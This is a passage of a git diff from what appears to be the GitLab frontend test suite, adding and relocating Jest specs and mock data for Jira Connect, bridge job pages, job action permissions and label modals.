+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe.each`
+ userSignedIn | hasSubscriptions | expectGlSprintf | expectGlLink
+ ${true} | ${false} | ${true} | ${false}
+ ${false} | ${true} | ${false} | ${true}
+ ${true} | ${true} | ${true} | ${false}
+ ${false} | ${false} | ${false} | ${false}
+ `(
+ 'when `userSignedIn` is $userSignedIn and `hasSubscriptions` is $hasSubscriptions',
+ ({ userSignedIn, hasSubscriptions, expectGlSprintf, expectGlLink }) => {
+ it('renders template correctly', () => {
+ createComponent({
+ userSignedIn,
+ hasSubscriptions,
+ });
+
+ expect(findSprintf().exists()).toBe(expectGlSprintf);
+ expect(findSignInLink().exists()).toBe(expectGlLink);
+ });
+ },
+ );
+
+ describe('sign in link', () => {
+ it('renders with correct href', async () => {
+ const mockUsersPath = '/user';
+ createComponent(
+ {
+ userSignedIn: false,
+ hasSubscriptions: true,
+ },
+ { provide: { usersPath: mockUsersPath } },
+ );
+
+ await waitForPromises();
+
+ expect(findSignInLink().exists()).toBe(true);
+ expect(findSignInLink().attributes('href')).toBe(mockUsersPath);
+ });
+ });
+
+ describe('gitlab user link', () => {
+ window.gon = { current_username: 'root' };
+
+ beforeEach(() => {
+ createComponent(
+ {
+ userSignedIn: true,
+ hasSubscriptions: true,
+ },
+ { provide: { gitlabUserPath: '/root' } },
+ );
+ });
+
+ it('renders with correct href', () => {
+ expect(findGitlabUserLink().attributes('href')).toBe('/root');
+ });
+
+ it('contains GitLab user handle', () => {
+ expect(findGitlabUserLink().text()).toBe('@root');
+ });
+ });
+});
diff --git a/spec/frontend/jira_connect/subscriptions/index_spec.js b/spec/frontend/jira_connect/subscriptions/index_spec.js
deleted file mode 100644
index b97918a198e..00000000000
--- a/spec/frontend/jira_connect/subscriptions/index_spec.js
+++ /dev/null
@@ -1,36 +0,0 @@
-import { initJiraConnect } from '~/jira_connect/subscriptions';
-import { getGitlabSignInURL } from '~/jira_connect/subscriptions/utils';
-
-jest.mock('~/jira_connect/subscriptions/utils');
-
-describe('initJiraConnect', () => {
- const mockInitialHref = 'https://gitlab.com';
-
- beforeEach(() => {
- setFixtures(`
- <a class="js-jira-connect-sign-in" href="${mockInitialHref}">Sign In</a>
- <a class="js-jira-connect-sign-in" href="${mockInitialHref}">Another Sign In</a>
- `);
- });
-
- const assertSignInLinks = (expectedLink) => {
- Array.from(document.querySelectorAll('.js-jira-connect-sign-in')).forEach((el) => {
- expect(el.getAttribute('href')).toBe(expectedLink);
- });
- };
-
- describe('Sign in links', () => {
- it('are updated on initialization', async () => {
- const mockSignInLink = `https://gitlab.com?return_to=${encodeURIComponent('/test/location')}`;
- getGitlabSignInURL.mockResolvedValue(mockSignInLink);
-
- // assert the initial state
- assertSignInLinks(mockInitialHref);
-
- await initJiraConnect();
-
- // assert the update has occurred
- assertSignInLinks(mockSignInLink);
- });
- });
-});
diff --git a/spec/frontend/jira_import/components/__snapshots__/jira_import_form_spec.js.snap b/spec/frontend/jira_import/components/__snapshots__/jira_import_form_spec.js.snap
index 9f5b772a5c7..a72528ae36b 100644
--- a/spec/frontend/jira_import/components/__snapshots__/jira_import_form_spec.js.snap
+++ b/spec/frontend/jira_import/components/__snapshots__/jira_import_form_spec.js.snap
@@ -152,7 +152,7 @@ exports[`JiraImportForm table body shows correct information in each cell 1`] =
aria-label="Search"
class="gl-form-input gl-search-box-by-type-input form-control"
placeholder="Search"
- type="text"
+ type="search"
/>
<div
@@ -283,7 +283,7 @@ exports[`JiraImportForm table body shows correct information in each cell 1`] =
aria-label="Search"
class="gl-form-input gl-search-box-by-type-input form-control"
placeholder="Search"
- type="text"
+ type="search"
/>
<div
diff --git a/spec/frontend/jobs/bridge/app_spec.js b/spec/frontend/jobs/bridge/app_spec.js
new file mode 100644
index 00000000000..0e232ab240d
--- /dev/null
+++ b/spec/frontend/jobs/bridge/app_spec.js
@@ -0,0 +1,33 @@
+import { shallowMount } from '@vue/test-utils';
+import BridgeApp from '~/jobs/bridge/app.vue';
+import BridgeEmptyState from '~/jobs/bridge/components/empty_state.vue';
+import BridgeSidebar from '~/jobs/bridge/components/sidebar.vue';
+
+describe('Bridge Show Page', () => {
+ let wrapper;
+
+ const createComponent = () => {
+ wrapper = shallowMount(BridgeApp, {});
+ };
+
+ const findEmptyState = () => wrapper.findComponent(BridgeEmptyState);
+ const findSidebar = () => wrapper.findComponent(BridgeSidebar);
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('template', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('renders empty state', () => {
+ expect(findEmptyState().exists()).toBe(true);
+ });
+
+ it('renders sidebar', () => {
+ expect(findSidebar().exists()).toBe(true);
+ });
+ });
+});
diff --git a/spec/frontend/jobs/bridge/components/empty_state_spec.js b/spec/frontend/jobs/bridge/components/empty_state_spec.js
new file mode 100644
index 00000000000..83642450118
--- /dev/null
+++ b/spec/frontend/jobs/bridge/components/empty_state_spec.js
@@ -0,0 +1,59 @@
+import { GlButton } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import BridgeEmptyState from '~/jobs/bridge/components/empty_state.vue';
+import { MOCK_EMPTY_ILLUSTRATION_PATH, MOCK_PATH_TO_DOWNSTREAM } from '../mock_data';
+
+describe('Bridge Empty State', () => {
+ let wrapper;
+
+ const createComponent = (props) => {
+ wrapper = shallowMount(BridgeEmptyState, {
+ provide: {
+ emptyStateIllustrationPath: MOCK_EMPTY_ILLUSTRATION_PATH,
+ },
+ propsData: {
+ downstreamPipelinePath: MOCK_PATH_TO_DOWNSTREAM,
+ ...props,
+ },
+ });
+ };
+
+ const findSvg = () => wrapper.find('img');
+ const findTitle = () => wrapper.find('h1');
+ const findLinkBtn = () => wrapper.findComponent(GlButton);
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('template', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('renders illustration', () => {
+ expect(findSvg().exists()).toBe(true);
+ });
+
+ it('renders title', () => {
+ expect(findTitle().exists()).toBe(true);
+ expect(findTitle().text()).toBe(wrapper.vm.$options.i18n.title);
+ });
+
+ it('renders CTA button', () => {
+ expect(findLinkBtn().exists()).toBe(true);
+ expect(findLinkBtn().text()).toBe(wrapper.vm.$options.i18n.linkBtnText);
+ expect(findLinkBtn().attributes('href')).toBe(MOCK_PATH_TO_DOWNSTREAM);
+ });
+ });
+
+ describe('without downstream pipeline', () => {
+ beforeEach(() => {
+ createComponent({ downstreamPipelinePath: undefined });
+ });
+
+ it('does not render CTA button', () => {
+ expect(findLinkBtn().exists()).toBe(false);
+ });
+ });
+});
diff --git a/spec/frontend/jobs/bridge/components/sidebar_spec.js b/spec/frontend/jobs/bridge/components/sidebar_spec.js
new file mode 100644
index 00000000000..ba4018753af
--- /dev/null
+++ b/spec/frontend/jobs/bridge/components/sidebar_spec.js
@@ -0,0 +1,76 @@
+import { GlButton, GlDropdown } from '@gitlab/ui';
+import { GlBreakpointInstance } from '@gitlab/ui/dist/utils';
+import { nextTick } from 'vue';
+import { shallowMount } from '@vue/test-utils';
+import BridgeSidebar from '~/jobs/bridge/components/sidebar.vue';
+import { BUILD_NAME } from '../mock_data';
+
+describe('Bridge Sidebar', () => {
+ let wrapper;
+
+ const createComponent = () => {
+ wrapper = shallowMount(BridgeSidebar, {
+ provide: {
+ buildName: BUILD_NAME,
+ },
+ });
+ };
+
+ const findSidebar = () => wrapper.find('aside');
+ const findRetryDropdown = () => wrapper.find(GlDropdown);
+ const findToggle = () => wrapper.find(GlButton);
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('template', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('renders retry dropdown', () => {
+ expect(findRetryDropdown().exists()).toBe(true);
+ });
+ });
+
+ describe('sidebar expansion', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('toggles expansion on button click', async () => {
+ expect(findSidebar().classes()).not.toContain('gl-display-none');
+
+ findToggle().vm.$emit('click');
+ await nextTick();
+
+ expect(findSidebar().classes()).toContain('gl-display-none');
+ });
+
+ describe('on resize', () => {
+ it.each`
+ breakpoint | isSidebarExpanded
+ ${'xs'} | ${false}
+ ${'sm'} | ${false}
+ ${'md'} | ${true}
+ ${'lg'} | ${true}
+ ${'xl'} | ${true}
+ `(
+ 'sets isSidebarExpanded to `$isSidebarExpanded` when the breakpoint is "$breakpoint"',
+ async ({ breakpoint, isSidebarExpanded }) => {
+ jest.spyOn(GlBreakpointInstance, 'getBreakpointSize').mockReturnValue(breakpoint);
+
+ window.dispatchEvent(new Event('resize'));
+ await nextTick();
+
+ if (isSidebarExpanded) {
+ expect(findSidebar().classes()).not.toContain('gl-display-none');
+ } else {
+ expect(findSidebar().classes()).toContain('gl-display-none');
+ }
+ },
+ );
+ });
+ });
+});
diff --git a/spec/frontend/jobs/bridge/mock_data.js b/spec/frontend/jobs/bridge/mock_data.js
new file mode 100644
index 00000000000..146d1a062ac
--- /dev/null
+++ b/spec/frontend/jobs/bridge/mock_data.js
@@ -0,0 +1,3 @@
+export const MOCK_EMPTY_ILLUSTRATION_PATH = '/path/to/svg';
+export const MOCK_PATH_TO_DOWNSTREAM = '/path/to/downstream/pipeline';
+export const BUILD_NAME = 'Child Pipeline Trigger';
diff --git a/spec/frontend/jobs/components/job_sidebar_details_container_spec.js b/spec/frontend/jobs/components/job_sidebar_details_container_spec.js
index ad0368555fa..cc9a5e4ee25 100644
--- a/spec/frontend/jobs/components/job_sidebar_details_container_spec.js
+++ b/spec/frontend/jobs/components/job_sidebar_details_container_spec.js
@@ -56,7 +56,7 @@ describe('Job Sidebar Details Container', () => {
beforeEach(createWrapper);
it.each([
- ['duration', 'Duration: 6 seconds'],
+ ['duration', 'Elapsed time: 6 seconds'],
['erased_at', 'Erased: 3 weeks ago'],
['finished_at', 'Finished: 3 weeks ago'],
['queued', 'Queued: 9 seconds'],
@@ -86,6 +86,15 @@ describe('Job Sidebar Details Container', () => {
expect(findAllDetailsRow()).toHaveLength(7);
});
+
+ describe('duration row', () => {
+ it('renders all the details components', async () => {
+ createWrapper();
+ await store.dispatch('receiveJobSuccess', job);
+
+ expect(findAllDetailsRow().at(0).text()).toBe('Duration: 6 seconds');
+ });
+ });
});
describe('timeout', () => {
diff --git a/spec/frontend/jobs/components/table/cells/actions_cell_spec.js b/spec/frontend/jobs/components/table/cells/actions_cell_spec.js
index 1b1e2d4df8f..6caf36e1461 100644
--- a/spec/frontend/jobs/components/table/cells/actions_cell_spec.js
+++ b/spec/frontend/jobs/components/table/cells/actions_cell_spec.js
@@ -5,7 +5,14 @@ import ActionsCell from '~/jobs/components/table/cells/actions_cell.vue';
import JobPlayMutation from '~/jobs/components/table/graphql/mutations/job_play.mutation.graphql';
import JobRetryMutation from '~/jobs/components/table/graphql/mutations/job_retry.mutation.graphql';
import JobUnscheduleMutation from '~/jobs/components/table/graphql/mutations/job_unschedule.mutation.graphql';
-import { playableJob, retryableJob, scheduledJob } from '../../../mock_data';
+import {
+ playableJob,
+ retryableJob,
+ scheduledJob,
+ cannotRetryJob,
+ cannotPlayJob,
+ cannotPlayScheduledJob,
+} from '../../../mock_data';
describe('Job actions cell', () => {
let wrapper;
@@ -51,6 +58,14 @@ describe('Job actions cell', () => {
wrapper.destroy();
});
+ it('displays the artifacts download button with correct link', () => {
+ createComponent(playableJob);
+
+ expect(findDownloadArtifactsButton().attributes('href')).toBe(
+ playableJob.artifacts.nodes[0].downloadPath,
+ );
+ });
+
it('does not display an artifacts download button', () => {
createComponent(retryableJob);
@@ -58,6 +73,17 @@ describe('Job actions cell', () => {
});
it.each`
+ button | action | jobType
+ ${findPlayButton} | ${'play'} | ${cannotPlayJob}
+ ${findRetryButton} | ${'retry'} | ${cannotRetryJob}
+ ${findPlayScheduledJobButton} | ${'play scheduled'} | ${cannotPlayScheduledJob}
+ `('does not display the $action button if user cannot update build', ({ button, jobType }) => {
+ createComponent(jobType);
+
+ expect(button().exists()).toBe(false);
+ });
+
+ it.each`
button | action | jobType
${findPlayButton} | ${'play'} | ${playableJob}
${findRetryButton} | ${'retry'} | ${retryableJob}
diff --git a/spec/frontend/jobs/mock_data.js b/spec/frontend/jobs/mock_data.js
index 43755b46bc9..45d297ba364 100644
--- a/spec/frontend/jobs/mock_data.js
+++ b/spec/frontend/jobs/mock_data.js
@@ -1474,6 +1474,7 @@ export const mockJobsInTable = [
export const mockJobsQueryResponse = {
data: {
project: {
+ id: '1',
jobs: {
pageInfo: {
endCursor: 'eyJpZCI6IjIzMTcifQ',
@@ -1488,15 +1489,18 @@ export const mockJobsQueryResponse = {
nodes: [
{
downloadPath: '/root/ci-project/-/jobs/2336/artifacts/download?file_type=trace',
+ fileType: 'TRACE',
__typename: 'CiJobArtifact',
},
{
downloadPath:
'/root/ci-project/-/jobs/2336/artifacts/download?file_type=metadata',
+ fileType: 'METADATA',
__typename: 'CiJobArtifact',
},
{
downloadPath: '/root/ci-project/-/jobs/2336/artifacts/download?file_type=archive',
+ fileType: 'ARCHIVE',
__typename: 'CiJobArtifact',
},
],
@@ -1509,6 +1513,7 @@ export const mockJobsQueryResponse = {
triggered: null,
createdByTag: false,
detailedStatus: {
+ id: 'status-1',
detailsPath: '/root/ci-project/-/jobs/2336',
group: 'success',
icon: 'status_success',
@@ -1516,6 +1521,7 @@ export const mockJobsQueryResponse = {
text: 'passed',
tooltip: 'passed',
action: {
+ id: 'action-1',
buttonTitle: 'Retry this job',
icon: 'retry',
method: 'post',
@@ -1535,6 +1541,7 @@ export const mockJobsQueryResponse = {
id: 'gid://gitlab/Ci::Pipeline/473',
path: '/root/ci-project/-/pipelines/473',
user: {
+ id: 'user-1',
webPath: '/root',
avatarUrl:
'https://www.gravatar.com/avatar/e64c7d89f26bd1972efa854d13d7dd61?s=80&d=identicon',
@@ -1543,6 +1550,7 @@ export const mockJobsQueryResponse = {
__typename: 'Pipeline',
},
stage: {
+ id: 'stage-1',
name: 'deploy',
__typename: 'CiStage',
},
@@ -1558,6 +1566,7 @@ export const mockJobsQueryResponse = {
userPermissions: {
readBuild: true,
readJobArtifacts: true,
+ updateBuild: true,
__typename: 'JobPermissions',
},
__typename: 'CiJob',
@@ -1573,13 +1582,23 @@ export const mockJobsQueryResponse = {
export const mockJobsQueryEmptyResponse = {
data: {
project: {
+ id: '1',
jobs: [],
},
},
};
export const retryableJob = {
- artifacts: { nodes: [], __typename: 'CiJobArtifactConnection' },
+ artifacts: {
+ nodes: [
+ {
+ downloadPath: '/root/ci-project/-/jobs/847/artifacts/download?file_type=trace',
+ fileType: 'TRACE',
+ __typename: 'CiJobArtifact',
+ },
+ ],
+ __typename: 'CiJobArtifactConnection',
+ },
allowFailure: false,
status: 'SUCCESS',
scheduledAt: null,
@@ -1630,15 +1649,31 @@ export const retryableJob = {
cancelable: false,
active: false,
stuck: false,
- userPermissions: { readBuild: true, __typename: 'JobPermissions' },
+ userPermissions: { readBuild: true, updateBuild: true, __typename: 'JobPermissions' },
__typename: 'CiJob',
};
+export const cannotRetryJob = {
+ ...retryableJob,
+ userPermissions: { readBuild: true, updateBuild: false, __typename: 'JobPermissions' },
+};
+
export const playableJob = {
artifacts: {
nodes: [
{
- downloadPath: '/root/test-job-artifacts/-/jobs/1982/artifacts/download?file_type=trace',
+ downloadPath: '/root/ci-project/-/jobs/621/artifacts/download?file_type=archive',
+ fileType: 'ARCHIVE',
+ __typename: 'CiJobArtifact',
+ },
+ {
+ downloadPath: '/root/ci-project/-/jobs/621/artifacts/download?file_type=metadata',
+ fileType: 'METADATA',
+ __typename: 'CiJobArtifact',
+ },
+ {
+ downloadPath: '/root/ci-project/-/jobs/621/artifacts/download?file_type=trace',
+ fileType: 'TRACE',
__typename: 'CiJobArtifact',
},
],
@@ -1694,10 +1729,25 @@ export const playableJob = {
cancelable: false,
active: false,
stuck: false,
- userPermissions: { readBuild: true, readJobArtifacts: true, __typename: 'JobPermissions' },
+ userPermissions: {
+ readBuild: true,
+ readJobArtifacts: true,
+ updateBuild: true,
+ __typename: 'JobPermissions',
+ },
__typename: 'CiJob',
};
+export const cannotPlayJob = {
+ ...playableJob,
+ userPermissions: {
+ readBuild: true,
+ readJobArtifacts: true,
+ updateBuild: false,
+ __typename: 'JobPermissions',
+ },
+};
+
export const scheduledJob = {
artifacts: { nodes: [], __typename: 'CiJobArtifactConnection' },
allowFailure: false,
@@ -1750,6 +1800,16 @@ export const scheduledJob = {
cancelable: false,
active: false,
stuck: false,
- userPermissions: { readBuild: true, __typename: 'JobPermissions' },
+ userPermissions: { readBuild: true, updateBuild: true, __typename: 'JobPermissions' },
__typename: 'CiJob',
};
+
+export const cannotPlayScheduledJob = {
+ ...scheduledJob,
+ userPermissions: {
+ readBuild: true,
+ readJobArtifacts: true,
+ updateBuild: false,
+ __typename: 'JobPermissions',
+ },
+};
diff --git a/spec/frontend/labels/components/delete_label_modal_spec.js b/spec/frontend/labels/components/delete_label_modal_spec.js
new file mode 100644
index 00000000000..6204138f885
--- /dev/null
+++ b/spec/frontend/labels/components/delete_label_modal_spec.js
@@ -0,0 +1,64 @@
+import { GlModal } from '@gitlab/ui';
+import { mount } from '@vue/test-utils';
+import { stubComponent } from 'helpers/stub_component';
+import { TEST_HOST } from 'helpers/test_constants';
+import { extendedWrapper } from 'helpers/vue_test_utils_helper';
+import DeleteLabelModal from '~/labels/components/delete_label_modal.vue';
+
+const MOCK_MODAL_DATA = {
+ labelName: 'label 1',
+ subjectName: 'GitLab Org',
+ destroyPath: `${TEST_HOST}/1`,
+};
+
+describe('~/labels/components/delete_label_modal', () => {
+ let wrapper;
+
+ const createComponent = () => {
+ wrapper = extendedWrapper(
+ mount(DeleteLabelModal, {
+ propsData: {
+ selector: '.js-test-btn',
+ },
+ stubs: {
+ GlModal: stubComponent(GlModal, {
+ template:
+ '<div><slot name="modal-title"></slot><slot></slot><slot name="modal-footer"></slot></div>',
+ }),
+ },
+ }),
+ );
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ const findModal = () => wrapper.find(GlModal);
+ const findPrimaryModalButton = () => wrapper.findByTestId('delete-button');
+
+ describe('template', () => {
+ describe('when modal data is set', () => {
+ beforeEach(() => {
+ createComponent();
+ wrapper.vm.labelName = MOCK_MODAL_DATA.labelName;
+ wrapper.vm.subjectName = MOCK_MODAL_DATA.subjectName;
+ wrapper.vm.destroyPath = MOCK_MODAL_DATA.destroyPath;
+ });
+
+ it('renders GlModal', () => {
+ expect(findModal().exists()).toBe(true);
+ });
+
+ it('displays the label name and subject name', () => {
+ expect(findModal().text()).toContain(
+ `${MOCK_MODAL_DATA.labelName} will be permanently deleted from ${MOCK_MODAL_DATA.subjectName}. This cannot be undone`,
+ );
+ });
+
+ it('passes the destroyPath to the button', () => {
+ expect(findPrimaryModalButton().attributes('href')).toBe(MOCK_MODAL_DATA.destroyPath);
+ });
+ });
+ });
+});
diff --git a/spec/frontend/labels/components/promote_label_modal_spec.js b/spec/frontend/labels/components/promote_label_modal_spec.js
new file mode 100644
index 00000000000..d2fbdfc9a8d
--- /dev/null
+++ b/spec/frontend/labels/components/promote_label_modal_spec.js
@@ -0,0 +1,103 @@
+import Vue from 'vue';
+import { TEST_HOST } from 'helpers/test_constants';
+import mountComponent from 'helpers/vue_mount_component_helper';
+import axios from '~/lib/utils/axios_utils';
+import promoteLabelModal from '~/labels/components/promote_label_modal.vue';
+import eventHub from '~/labels/event_hub';
+
+describe('Promote label modal', () => {
+ let vm;
+ const Component = Vue.extend(promoteLabelModal);
+ const labelMockData = {
+ labelTitle: 'Documentation',
+ labelColor: '#5cb85c',
+ labelTextColor: '#ffffff',
+ url: `${TEST_HOST}/dummy/promote/labels`,
+ groupName: 'group',
+ };
+
+ describe('Modal title and description', () => {
+ beforeEach(() => {
+ vm = mountComponent(Component, labelMockData);
+ });
+
+ afterEach(() => {
+ vm.$destroy();
+ });
+
+ it('contains the proper description', () => {
+ expect(vm.text).toContain(
+ `Promoting ${labelMockData.labelTitle} will make it available for all projects inside ${labelMockData.groupName}`,
+ );
+ });
+
+ it('contains a label span with the color', () => {
+ expect(vm.labelColor).not.toBe(null);
+ expect(vm.labelColor).toBe(labelMockData.labelColor);
+ expect(vm.labelTitle).toBe(labelMockData.labelTitle);
+ });
+ });
+
+ describe('When requesting a label promotion', () => {
+ beforeEach(() => {
+ vm = mountComponent(Component, {
+ ...labelMockData,
+ });
+ jest.spyOn(eventHub, '$emit').mockImplementation(() => {});
+ });
+
+ afterEach(() => {
+ vm.$destroy();
+ });
+
+ it('redirects when a label is promoted', (done) => {
+ const responseURL = `${TEST_HOST}/dummy/endpoint`;
+ jest.spyOn(axios, 'post').mockImplementation((url) => {
+ expect(url).toBe(labelMockData.url);
+ expect(eventHub.$emit).toHaveBeenCalledWith(
+ 'promoteLabelModal.requestStarted',
+ labelMockData.url,
+ );
+ return Promise.resolve({
+ request: {
+ responseURL,
+ },
+ });
+ });
+
+ vm.onSubmit()
+ .then(() => {
+ expect(eventHub.$emit).toHaveBeenCalledWith('promoteLabelModal.requestFinished', {
+ labelUrl: labelMockData.url,
+ successful: true,
+ });
+ })
+ .then(done)
+ .catch(done.fail);
+ });
+
+ it('displays an error if promoting a label failed', (done) => {
+ const dummyError = new Error('promoting label failed');
+ dummyError.response = { status: 500 };
+ jest.spyOn(axios, 'post').mockImplementation((url) => {
+ expect(url).toBe(labelMockData.url);
+ expect(eventHub.$emit).toHaveBeenCalledWith(
+ 'promoteLabelModal.requestStarted',
+ labelMockData.url,
+ );
+ return Promise.reject(dummyError);
+ });
+
+ vm.onSubmit()
+ .catch((error) => {
+ expect(error).toBe(dummyError);
+ expect(eventHub.$emit).toHaveBeenCalledWith('promoteLabelModal.requestFinished', {
+ labelUrl: labelMockData.url,
+ successful: false,
+ });
+ })
+ .then(done)
+ .catch(done.fail);
+ });
+ });
+});
diff --git a/spec/frontend/labels/delete_label_modal_spec.js b/spec/frontend/labels/delete_label_modal_spec.js
new file mode 100644
index 00000000000..c1e6ce87990
--- /dev/null
+++ b/spec/frontend/labels/delete_label_modal_spec.js
@@ -0,0 +1,83 @@
+import { TEST_HOST } from 'helpers/test_constants';
+import { initDeleteLabelModal } from '~/labels';
+
+describe('DeleteLabelModal', () => {
+ const buttons = [
+ {
+ labelName: 'label 1',
+ subjectName: 'GitLab Org',
+ destroyPath: `${TEST_HOST}/1`,
+ },
+ {
+ labelName: 'label 2',
+ subjectName: 'GitLab Org',
+ destroyPath: `${TEST_HOST}/2`,
+ },
+ ];
+
+ beforeEach(() => {
+ const buttonContainer = document.createElement('div');
+
+ buttons.forEach((x) => {
+ const button = document.createElement('button');
+ button.setAttribute('class', 'js-delete-label-modal-button');
+ button.setAttribute('data-label-name', x.labelName);
+ button.setAttribute('data-subject-name', x.subjectName);
+ button.setAttribute('data-destroy-path', x.destroyPath);
+ button.innerHTML = 'Action';
+ buttonContainer.appendChild(button);
+ });
+
+ document.body.appendChild(buttonContainer);
+ });
+
+ afterEach(() => {
+ document.body.innerHTML = '';
+ });
+
+ const findJsHooks = () => document.querySelectorAll('.js-delete-label-modal-button');
+ const findModal = () => document.querySelector('.gl-modal');
+
+ it('starts with only js-containers', () => {
+ expect(findJsHooks()).toHaveLength(buttons.length);
+ expect(findModal()).toBe(null);
+ });
+
+ describe('when first button clicked', () => {
+ beforeEach(() => {
+ initDeleteLabelModal();
+ findJsHooks().item(0).click();
+ });
+
+ it('does not replace js-containers with GlModal', () => {
+ expect(findJsHooks()).toHaveLength(buttons.length);
+ });
+
+ it('renders GlModal', () => {
+ expect(findModal()).not.toBe(null);
+ });
+ });
+
+ describe.each`
+ index
+ ${0}
+ ${1}
+ `(`when multiple buttons exist`, ({ index }) => {
+ beforeEach(() => {
+ initDeleteLabelModal();
+ findJsHooks().item(index).click();
+ });
+
+ it('correct props are passed to gl-modal', () => {
+ expect(findModal().querySelector('.modal-title').innerHTML).toContain(
+ buttons[index].labelName,
+ );
+ expect(findModal().querySelector('.modal-body').innerHTML).toContain(
+ buttons[index].subjectName,
+ );
+ expect(findModal().querySelector('.modal-footer .btn-danger').href).toContain(
+ buttons[index].destroyPath,
+ );
+ });
+ });
+});
diff --git a/spec/frontend/labels/labels_select_spec.js b/spec/frontend/labels/labels_select_spec.js
new file mode 100644
index 00000000000..f6e280564cc
--- /dev/null
+++ b/spec/frontend/labels/labels_select_spec.js
@@ -0,0 +1,140 @@
+import $ from 'jquery';
+import LabelsSelect from '~/labels/labels_select';
+
+const mockUrl = '/foo/bar/url';
+
+const mockLabels = [
+ {
+ id: 26,
+ title: 'Foo Label',
+ description: 'Foobar',
+ color: '#BADA55',
+ text_color: '#FFFFFF',
+ },
+];
+
+const mockScopedLabels = [
+ {
+ id: 27,
+ title: 'Foo::Bar',
+ description: 'Foobar',
+ color: '#333ABC',
+ text_color: '#FFFFFF',
+ },
+];
+
+const mockScopedLabels2 = [
+ {
+ id: 28,
+ title: 'Foo::Bar2',
+ description: 'Foobar2',
+ color: '#FFFFFF',
+ text_color: '#333333',
+ },
+];
+
+describe('LabelsSelect', () => {
+ describe('getLabelTemplate', () => {
+ describe('when normal label is present', () => {
+ const label = mockLabels[0];
+ let $labelEl;
+
+ beforeEach(() => {
+ $labelEl = $(
+ LabelsSelect.getLabelTemplate({
+ labels: mockLabels,
+ issueUpdateURL: mockUrl,
+ enableScopedLabels: true,
+ }),
+ );
+ });
+
+ it('generated label item template has correct label URL', () => {
+ expect($labelEl.find('a').attr('href')).toBe('/foo/bar?label_name[]=Foo%20Label');
+ });
+
+ it('generated label item template has correct label title', () => {
+ expect($labelEl.find('span.gl-label-text').text()).toBe(label.title);
+ });
+
+ it('generated label item template has label description as title attribute', () => {
+ expect($labelEl.find('a').attr('title')).toBe(label.description);
+ });
+
+ it('generated label item template has correct label styles and classes', () => {
+ expect($labelEl.find('span.gl-label-text').attr('style')).toBe(
+ `background-color: ${label.color};`,
+ );
+ expect($labelEl.find('span.gl-label-text')).toHaveClass('gl-label-text-light');
+ });
+
+ it('generated label item has a gl-label-text class', () => {
+ expect($labelEl.find('span').hasClass('gl-label-text')).toEqual(true);
+ });
+ });
+
+ describe('when scoped label is present', () => {
+ const label = mockScopedLabels[0];
+ let $labelEl;
+
+ beforeEach(() => {
+ $labelEl = $(
+ LabelsSelect.getLabelTemplate({
+ labels: mockScopedLabels,
+ issueUpdateURL: mockUrl,
+ enableScopedLabels: true,
+ }),
+ );
+ });
+
+ it('generated label item template has correct label URL', () => {
+ expect($labelEl.find('a').attr('href')).toBe('/foo/bar?label_name[]=Foo%3A%3ABar');
+ });
+
+ it('generated label item template has correct label title', () => {
+ const scopedTitle = label.title.split('::');
+ expect($labelEl.find('span.gl-label-text').text()).toContain(scopedTitle[0]);
+ expect($labelEl.find('span.gl-label-text').text()).toContain(scopedTitle[1]);
+ });
+
+ it('generated label item template has html flag as true', () => {
+ expect($labelEl.find('a').attr('data-html')).toBe('true');
+ });
+
+ it('generated label item template has correct label styles and classes', () => {
+ expect($labelEl.find('span.gl-label-text').attr('style')).toBe(
+ `background-color: ${label.color};`,
+ );
+ expect($labelEl.find('span.gl-label-text')).toHaveClass('gl-label-text-light');
+ expect($labelEl.find('span.gl-label-text').last()).not.toHaveClass('gl-label-text-light');
+ });
+
+ it('generated label item has a badge class', () => {
+ expect($labelEl.find('span').hasClass('gl-label-text')).toEqual(true);
+ });
+ });
+
+ describe('when scoped label is present, with text color not white', () => {
+ const label = mockScopedLabels2[0];
+ let $labelEl;
+
+ beforeEach(() => {
+ $labelEl = $(
+ LabelsSelect.getLabelTemplate({
+ labels: mockScopedLabels2,
+ issueUpdateURL: mockUrl,
+ enableScopedLabels: true,
+ }),
+ );
+ });
+
+ it('generated label item template has correct label styles and classes', () => {
+ expect($labelEl.find('span.gl-label-text').attr('style')).toBe(
+ `background-color: ${label.color};`,
+ );
+ expect($labelEl.find('span.gl-label-text')).toHaveClass('gl-label-text-dark');
+ expect($labelEl.find('span.gl-label-text').last()).toHaveClass('gl-label-text-dark');
+ });
+ });
+ });
+});
diff --git a/spec/frontend/labels_select_spec.js b/spec/frontend/labels_select_spec.js
deleted file mode 100644
index cbc9a923f8b..00000000000
--- a/spec/frontend/labels_select_spec.js
+++ /dev/null
@@ -1,140 +0,0 @@
-import $ from 'jquery';
-import LabelsSelect from '~/labels_select';
-
-const mockUrl = '/foo/bar/url';
-
-const mockLabels = [
- {
- id: 26,
- title: 'Foo Label',
- description: 'Foobar',
- color: '#BADA55',
- text_color: '#FFFFFF',
- },
-];
-
-const mockScopedLabels = [
- {
- id: 27,
- title: 'Foo::Bar',
- description: 'Foobar',
- color: '#333ABC',
- text_color: '#FFFFFF',
- },
-];
-
-const mockScopedLabels2 = [
- {
- id: 28,
- title: 'Foo::Bar2',
- description: 'Foobar2',
- color: '#FFFFFF',
- text_color: '#333333',
- },
-];
-
-describe('LabelsSelect', () => {
- describe('getLabelTemplate', () => {
- describe('when normal label is present', () => {
- const label = mockLabels[0];
- let $labelEl;
-
- beforeEach(() => {
- $labelEl = $(
- LabelsSelect.getLabelTemplate({
- labels: mockLabels,
- issueUpdateURL: mockUrl,
- enableScopedLabels: true,
- }),
- );
- });
-
- it('generated label item template has correct label URL', () => {
- expect($labelEl.find('a').attr('href')).toBe('/foo/bar?label_name[]=Foo%20Label');
- });
-
- it('generated label item template has correct label title', () => {
- expect($labelEl.find('span.gl-label-text').text()).toBe(label.title);
- });
-
- it('generated label item template has label description as title attribute', () => {
- expect($labelEl.find('a').attr('title')).toBe(label.description);
- });
-
- it('generated label item template has correct label styles and classes', () => {
- expect($labelEl.find('span.gl-label-text').attr('style')).toBe(
- `background-color: ${label.color};`,
- );
